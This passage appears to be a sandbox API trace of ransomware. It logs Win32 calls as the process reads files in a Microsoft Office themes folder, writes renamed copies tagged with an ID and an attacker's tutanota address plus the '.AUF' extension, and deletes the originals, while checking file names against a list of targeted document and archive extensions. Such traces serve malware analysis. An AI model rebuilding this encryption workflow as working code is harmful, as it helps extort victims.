lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.283] WriteFile (in: hFile=0x204, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.283] SetEndOfFile (hFile=0x204) returned 1 [0213.284] CloseHandle (hObject=0x204) returned 1 [0213.284] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.284] SetEndOfFile (hFile=0x1f0) returned 1 [0213.285] CloseHandle (hObject=0x1f0) returned 1 [0213.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.286] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0213.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0213.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0213.286] lstrlenW (lpString=".doc") returned 4 [0213.286] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.286] lstrlenW (lpString=".docx") returned 5 [0213.286] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.286] lstrlenW (lpString=".pdf") returned 4 [0213.286] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.286] lstrlenW (lpString=".xls") returned 4 [0213.286] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.286] lstrlenW (lpString=".xlsx") returned 5 [0213.287] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.287] lstrlenW (lpString=".ppt") returned 4 [0213.287] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0213.287] lstrlenW (lpString=".zip") returned 4 [0213.287] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.287] lstrlenW (lpString=".rar") returned 4 [0213.287] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.287] lstrlenW (lpString=".bz2") returned 4 [0213.287] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.287] lstrlenW (lpString=".7z") returned 3 [0213.287] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0213.287] lstrlenW (lpString=".dbf") returned 4 [0213.287] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0213.287] lstrlenW (lpString=".1cd") returned 4 [0213.287] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0213.287] lstrlenW (lpString=".jpg") returned 4 [0213.287] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0213.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0213.287] lstrlenW (lpString=".doc") returned 4 [0213.287] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.287] lstrlenW (lpString=".docx") returned 5 [0213.288] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.288] lstrlenW (lpString=".pdf") returned 4 [0213.288] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.288] lstrlenW (lpString=".xls") returned 4 [0213.288] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.288] lstrlenW (lpString=".xlsx") returned 5 [0213.288] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.288] lstrlenW (lpString=".ppt") returned 4 [0213.288] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0213.288] lstrlenW (lpString=".zip") returned 4 [0213.288] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.288] lstrlenW (lpString=".rar") returned 4 [0213.288] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.288] lstrlenW (lpString=".bz2") returned 4 [0213.288] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.288] lstrlenW (lpString=".7z") returned 3 [0213.288] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0213.288] lstrlenW (lpString=".dbf") returned 4 [0213.288] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0213.288] lstrlenW (lpString=".1cd") returned 4 [0213.288] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0213.288] lstrlenW (lpString=".jpg") returned 4 [0213.288] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.288] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.288] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.289] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1593) returned 1 [0213.289] CloseHandle (hObject=0x1f0) returned 1 [0213.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0213.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.289] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.289] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0213.291] GetLastError () returned 0x0 [0213.291] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x639, lpOverlapped=0x0) returned 1 [0213.362] WriteFile (in: hFile=0x204, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x640, lpOverlapped=0x0) returned 1 [0213.364] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.364] WriteFile (in: hFile=0x204, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.365] SetEndOfFile (hFile=0x204) returned 1 [0213.365] CloseHandle (hObject=0x204) returned 1 [0213.370] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.370] SetEndOfFile (hFile=0x1f0) returned 1 [0213.371] CloseHandle (hObject=0x1f0) returned 1 [0213.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.371] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0213.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0213.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0213.371] lstrlenW (lpString=".doc") returned 4 [0213.371] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.371] lstrlenW (lpString=".docx") returned 5 [0213.371] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.371] lstrlenW (lpString=".pdf") returned 4 [0213.371] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.371] lstrlenW (lpString=".xls") returned 4 [0213.371] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.371] lstrlenW (lpString=".xlsx") returned 5 [0213.371] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.372] lstrlenW (lpString=".ppt") returned 4 [0213.372] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0213.372] lstrlenW (lpString=".zip") returned 4 [0213.372] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.372] lstrlenW (lpString=".rar") returned 4 [0213.372] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.372] lstrlenW (lpString=".bz2") returned 4 [0213.372] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.372] lstrlenW (lpString=".7z") returned 3 [0213.372] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0213.372] lstrlenW (lpString=".dbf") returned 4 [0213.372] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0213.372] lstrlenW (lpString=".1cd") returned 4 [0213.372] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0213.372] lstrlenW (lpString=".jpg") returned 4 [0213.372] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0213.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0213.372] lstrlenW (lpString=".doc") returned 4 [0213.372] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.372] lstrlenW (lpString=".docx") returned 5 [0213.372] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.372] lstrlenW (lpString=".pdf") returned 4 [0213.372] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.372] lstrlenW (lpString=".xls") returned 4 [0213.372] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.372] lstrlenW (lpString=".xlsx") returned 5 [0213.372] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.372] lstrlenW (lpString=".ppt") returned 4 [0213.372] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0213.372] lstrlenW (lpString=".zip") returned 4 [0213.372] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.372] lstrlenW (lpString=".rar") returned 4 [0213.372] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.372] lstrlenW (lpString=".bz2") returned 4 [0213.372] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.372] lstrlenW (lpString=".7z") returned 3 [0213.372] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0213.372] lstrlenW (lpString=".dbf") returned 4 [0213.372] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0213.372] lstrlenW (lpString=".1cd") returned 4 [0213.372] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0213.373] lstrlenW (lpString=".jpg") returned 4 [0213.373] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.373] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.373] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.375] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=21745) returned 1 [0213.375] CloseHandle (hObject=0x1f0) returned 1 [0213.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0213.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.375] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.375] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0213.375] GetLastError () returned 0x0 [0213.375] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x54f1, lpOverlapped=0x0) returned 1 [0213.377] WriteFile (in: hFile=0x204, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x5500, lpOverlapped=0x0) returned 1 [0213.378] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.378] WriteFile (in: hFile=0x204, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.378] SetEndOfFile (hFile=0x204) returned 1 [0213.379] CloseHandle (hObject=0x204) returned 1 [0213.379] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.379] SetEndOfFile (hFile=0x1f0) returned 1 [0213.380] CloseHandle (hObject=0x1f0) returned 1 [0213.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.380] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0213.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0213.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0213.380] lstrlenW (lpString=".doc") returned 4 [0213.380] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.380] lstrlenW (lpString=".docx") returned 5 [0213.380] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.380] lstrlenW (lpString=".pdf") returned 4 [0213.380] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.380] lstrlenW (lpString=".xls") returned 4 [0213.380] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.380] lstrlenW (lpString=".xlsx") returned 5 [0213.380] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.380] lstrlenW (lpString=".ppt") returned 4 [0213.380] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0213.380] lstrlenW (lpString=".zip") returned 4 [0213.380] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.380] lstrlenW (lpString=".rar") returned 4 [0213.380] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.380] lstrlenW (lpString=".bz2") returned 4 [0213.380] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.380] lstrlenW (lpString=".7z") returned 3 [0213.380] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0213.380] lstrlenW (lpString=".dbf") returned 4 [0213.381] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0213.381] lstrlenW (lpString=".1cd") returned 4 [0213.381] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0213.381] lstrlenW (lpString=".jpg") returned 4 [0213.381] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0213.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0213.381] lstrlenW (lpString=".doc") returned 4 [0213.381] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.381] lstrlenW (lpString=".docx") returned 5 [0213.381] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.381] lstrlenW (lpString=".pdf") returned 4 [0213.381] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.381] lstrlenW (lpString=".xls") returned 4 [0213.381] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.381] lstrlenW (lpString=".xlsx") returned 5 [0213.381] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.381] lstrlenW (lpString=".ppt") returned 4 [0213.381] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0213.381] lstrlenW (lpString=".zip") returned 4 [0213.381] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.381] lstrlenW (lpString=".rar") returned 4 [0213.381] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.381] lstrlenW (lpString=".bz2") returned 4 [0213.381] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.381] lstrlenW (lpString=".7z") returned 3 [0213.381] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0213.381] lstrlenW (lpString=".dbf") returned 4 [0213.381] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0213.381] lstrlenW (lpString=".1cd") returned 4 [0213.381] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0213.381] lstrlenW (lpString=".jpg") returned 4 [0213.381] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.381] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0213.381] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0213.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.382] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1339) returned 1 [0213.382] CloseHandle (hObject=0x1f0) returned 1 [0213.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0213.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.382] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.382] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0213.385] GetLastError () returned 0x0 [0213.385] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x53b, lpOverlapped=0x0) returned 1 [0213.394] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x540, lpOverlapped=0x0) returned 1 [0213.395] ReadFile (in: hFile=0x1f0, 